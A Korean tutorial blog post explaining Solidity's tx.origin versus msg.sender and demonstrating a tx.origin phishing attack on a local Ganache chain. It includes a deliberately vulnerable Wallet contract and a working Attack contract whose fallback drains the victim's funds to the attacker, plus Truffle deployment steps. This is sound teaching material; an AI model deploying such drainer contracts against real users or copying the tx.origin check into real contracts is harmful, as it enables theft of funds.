tx.origin
은 트랜잭션을 최초로 보낸 EOA를 의미한다.
msg.sender
는 트랜잭션을 마지막으로 보낸 EOA 혹은 CA를 의미한다.
출처: https://davidkathoh.medium.com/tx-origin-vs-msg-sender-93db7f234cb9
위 그림이 아주 쉽고 적절하게 설명해준 것 같아 가져왔다. (David Kathoh님의 medium)
어떤 EOA에서 컨트랙트를 곧바로 호출한다면, msg.sender
와 tx.origin
은 모두 해당 EOA 주소가 된다.
어떤 EOA에서 컨트랙트 A를 호출했는데, 컨트랙트 A가 컨트랙트 B를 호출하는 경우, 컨트랙트 B 입장에서 msg.sender
는 가장 마지막에 자신을 호출한 컨트랙트 A의 주소가 되고, tx.origin
은 이 트랜잭션을 처음 유발한 EOA의 주소가 된다.
똑똑한 사람들은 이걸 보고 사기칠 생각을 했다. (나는 아님)
일반적인 tx.origin을 활용한 피싱 시나리오는 다음과 같다.
선량한 EOA인 GOOD_EOA
와 사기꾼 EOA인 BAD_EOA
가 있다.
GOOD_EOA
는 컨트랙트 A
에 자산을 보유하고 있다.
한편 BAD_EOA
는 GOOD_EOA
가 컨트랙트 A
에 자산을 보유하고 있으며, 컨트랙트 A
가 tx.origin
으로 사용자를 검증한다는 것을 알아차린다.
BAD_EOA
는 피싱 컨트랙트 컨트랙트 B
를 만들고, GOOD_EOA
를 낚아 컨트랙트 B
를 호출하도록 유인한다.
불쌍한 GOOD_EOA
가 낚여 컨트랙트 B
를 호출한다.
컨트랙트 B
는 호출과 동시에 내부적으로 GOOD_EOA
의 주소를 tx.origin
값으로 갖게 된다.
컨트랙트 B
가 컨트랙트 A
를 호출하면, 컨트랙트 A
는 tx.origin
값을 보고 자신을 호출한 것이 GOOD_EOA
라고 인식하고 작업을 허용한다. 이제 컨트랙트 A
내 GOOD_EOA
의 자산이 털리는 건 시간문제.
코드는 solidity-by-example에다가 구현 편의를 위해 일부 폴백 함수를 추가했다.
위 시나리오에서 컨트랙트 A
에 해당하는 코드이다. deposit하기 위해 receive() 폴백 함수를 추가했다.
핵심은 transfer
함수에서 tx.origin==owner
이면 송금이 성공한다는 것.
// Wallet.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract Wallet {
address public owner;
constructor() payable {
owner = msg.sender;
}
receive() external payable {}
function transfer(address payable _to, uint _amount) public {
require(tx.origin == owner, "Not owner");
(bool sent, ) = _to.call{value: _amount}("");
require(sent, "Failed to send Ether");
}
}
다음으로 피싱 컨트랙트 B
의 코드이다.
GOOD_EOA
가 attack()
을 호출하는 경우도 공격에 성공하고, 단순히 송금하는 경우도 폴백함수로 빠져 공격에 성공하게 되어있다.
// Attack.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "./Wallet.sol";
contract Attack {
address payable public owner;
Wallet wallet;
constructor(Wallet _wallet) {
wallet = Wallet(_wallet);
owner = payable(msg.sender);
}
function attack() public {
wallet.transfer(owner, address(wallet).balance);
}
receive() external payable {
wallet.transfer(owner, address(wallet).balance);
}
}
Ganache로 연결해주되, from을 명시하지 않으면 account[0]으로 진행된다. Wallet.sol
은 GOOD_EOA
로, Attack.sol
은 BAD_EOA
로 설정해주자.
// truffle-config.js
networks: {
development: {
host: "127.0.0.1", // 로컬
port: 7545, // Ganache 포트
network_id: "*", // Any network (default: none)
from: "0xDc295Ea317c3020C68A3403C53dfEEbd7eA8A1cE", // GOOD_EOA -> Attack.sol 배포할때는 BAD_EOA로 변경
},
우선 Wallet (컨트랙트 A
)을 배포하자.
// 2_deploy.js
const Wallet = artifacts.require("./Wallet.sol");
module.exports = function (deployer) {
deployer.deploy(Wallet);
};
다음으로 Attack(컨트랙트 B
)을 배포하자. (truffle-config에서 EOA 바꾸기 잊지 말 것)
코드에, 생성자의 인자로 Wallet 객체가 들어가는데, 이러한 경우 배포된 컨트랙트의 주소를 넣어주면 된다. 위 Wallet을 배포하고 리턴된 주소를 넣어준다.
// 2_deploy.js
const Attack = artifacts.require("./Attack.sol");
module.exports = function (deployer) {
walletAddr = "0xF3ba2D4F4ACB93780F23D7182e748239363C1A5c";
deployer.deploy(Attack, walletAddr);
};
그럼 결과적으로 다음과 같이 세팅이 완료된다.
배포된 Wallet 주소: 0xF3ba2D4F4ACB93780F23D7182e748239363C1A5c (컨트랙트 A
)
Wallet의 owner: 0xDc295Ea317c3020C68A3403C53dfEEbd7eA8A1cE (GOOD_EOA
)
배포된 Attack 주소: 0xa9D0dF2c1720c2c8aE6162e73aFBDB1d8b3a6f19 (컨트랙트 B
)
Attack의 owner: 0x0f4e7cfDc6bC1240f4B287324C0605ee747483d6 (BAD_EOA
)
편의를 위해 Wallet과 Attack의 호출은 모두 폴백함수로 진행하겠다.
Metamask에서 로컬의 Ganache를 추가하고, GOOD_EOA
를 추가해준다.
그리고 Wallet 주소로 50eth를 보내 저금한다.
Ganache에서 확인하면 다음 두 사진처럼 50eth가 차감되어 있고, contract에 50eth가 저장되어 있는 것을 알 수 있다.
이제 GOOD_EOA
로 하여금 Attack.sol
의 폴백함수를 실행시키게 할 것이다. 지금은 이렇게 직접 실행하지만, 실제로는 피싱 사이트를 비롯한 다양한 낚시 방법으로 호출을 유도했을 것이다.
receive() external payable {
wallet.transfer(owner, address(wallet).balance);
}
위 폴백함수는 아래 Wallet.sol
의 tranfer
를 호출한다.
function transfer(address payable _to, uint _amount) public {
require(tx.origin == owner, "Not owner");
...
}
owner
는 BAD_EOA
이고 이는 transfer
에 address payable _to
인자로 전달된다. 금액은 지갑 내 전체 금액이다.
원래 의도대로라면 require문에서 msg.sender==owner
에 실패하기 때문에 Attack에서 Wallet으로의 호출이 막히게 되지만, tx.origin
은 지갑 주인인 GOOD_EOA
이기 때문에 막히지 않고 진행된다.
즉, 공격 결과는 GOOD_EOA
가 Wallet 내 소유한 모든 자금이 BAD_EOA
에게 전송되는 것이다.
Attack의 폴백함수를 실행시키기 위해 다시 Metamask에서 아주 적은 금액을 Attack으로 송금해보겠다.
트랜잭션이 성공하여 Attack에 contract call이 날아갔다. 동시에 아래와 같이 Wallet내 자금은 비게 된다. 아까 분명히 50eth를 저금해놨었는데 감쪽같이 사라졌다.
그리고 그만큼의 금액은 아래와 같이 BAD_EOA
에게 꽂혀있다.
https://solidity-by-example.org/hacks/phishing-with-tx-origin/
솔리디티 공식 문서
Ganache, Truffle 공식 문서
https://davidkathoh.medium.com/tx-origin-vs-msg-sender-93db7f234cb9 (사진출처)